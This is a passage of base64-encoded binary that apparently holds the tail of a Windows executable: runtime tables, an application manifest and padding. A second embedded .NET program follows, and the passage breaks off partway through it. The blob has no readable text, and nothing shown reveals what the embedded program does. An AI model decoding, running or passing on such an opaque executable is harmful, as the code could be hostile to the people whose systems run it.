AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAgICAgIDAwMDAwMDAwAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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